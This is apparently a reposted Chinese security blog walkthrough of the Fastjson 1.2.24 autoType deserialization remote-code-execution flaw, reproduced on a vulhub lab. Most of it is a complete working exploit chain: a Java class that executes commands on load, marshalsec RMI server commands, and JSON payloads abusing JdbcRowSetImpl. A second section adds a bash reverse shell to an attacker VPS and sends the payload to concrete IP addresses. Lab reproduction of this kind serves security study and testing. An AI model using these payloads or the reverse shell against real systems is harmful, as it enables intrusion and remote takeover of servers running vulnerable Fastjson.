Fastjson 1.2.24 反序列化导致任意命令执行漏洞

admin 2023年9月14日07:59:59评论81 views字数 2748阅读9分9秒阅读模式

漏洞原理

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

Fastjson简介

FastJSON(也称为FastJson)是一个Java的JSON解析库,它提供了高性能和高度可定制化的JSON处理能力。FastJSON由阿里巴巴集团开发并开源,已经成为广泛使用的JSON库之一。

FastJSON广泛应用于各种Java项目中,包括Web应用、微服务架构、Android开发等。它的高性能和易用性使得开发人员可以更高效地处理JSON数据,并且与其他阿里巴巴的开源项目(如Dubbo、Spring等)具有较好的集成能力。

需要注意的是,FastJSON在解析自不受信任的JSON数据时,可能存在安全漏洞,因此在处理来自外部的JSON数据时,建议进行严格的输入验证和安全过滤,以防止潜在的安全问题。


漏洞环境搭建

基于vulhub搭建,运行测试环境:docker compose up -d

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。 我们向这个地址POST一个JSON对象,即可更新服务端的信息:

curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'

Fastjson 1.2.24 反序列化导致任意命令执行漏洞这里需要额外一个vps:接收shell 下文称远端vps

漏洞复现

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。 

首先编译(javac TouchFile.java会变成TouchFile.class)并上传命令执行代码,如http://ip/TouchFile.class

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;
public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}

把上面文件使用javac TouchFile.java编译后,架一个python服务器

python3 -m http.server 8989

然后我们借助#marshalsec#项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:

apt install mavenapt install openjdk-8-jdk-headlessgit clone https://github.com/mbechler/marshalseccd 到项目目录里mvn clean package -DskipTests在marshalsec会生成一个target
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsip:8989(别忘了端口,除非有域名)/#TouchFile" 9999#http://vpsIP+端口(有域名除外)/#TouchFile 是一个 URL,它被用作一个注入点来触发恶意操作(在这种情况下是 TouchFile)

向靶场服务器发送Payload,带上RMI的地址:

POST / HTTP/1.1Host:靶机:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 162
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://远端vps:9999/TouchFile", "autoCommit":true }}

Fastjson 1.2.24 反序列化导致任意命令执行漏洞 这里可以看到已经收到访问 TouchFile.class文件的 Fastjson 1.2.24 反序列化导致任意命令执行漏洞 rmi服务器启动Fastjson 1.2.24 反序列化导致任意命令执行漏洞 成功执行:进入docker容器中查看 Fastjson 1.2.24 反序列化导致任意命令执行漏洞

反弹shell

更改TouchFile.java文件

// javac TouchFile.javaimport java.lang.Runtime;import java.lang.Process;
public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/vps-IP/6666 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } }}

对TouchFile.java进行编译 javac TouchFile.java


用burp发包

POST / HTTP/1.1Host:8.130.45.30:8090Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 162
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://8.130.40.243:9999/TouchFile","autoCommit":true}}

Fastjson 1.2.24 反序列化导致任意命令执行漏洞


python服务器 Fastjson 1.2.24 反序列化导致任意命令执行漏洞

rmi服务器

Fastjson 1.2.24 反序列化导致任意命令执行漏洞 成功获取到shell

Fastjson 1.2.24 反序列化导致任意命令执行漏洞


原文始发于微信公众号(不懂安全):Fastjson 1.2.24 反序列化导致任意命令执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年9月14日07:59:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Fastjson 1.2.24 反序列化导致任意命令执行漏洞http://cn-sec.com/archives/2035574.html

发表评论

匿名网友 填写信息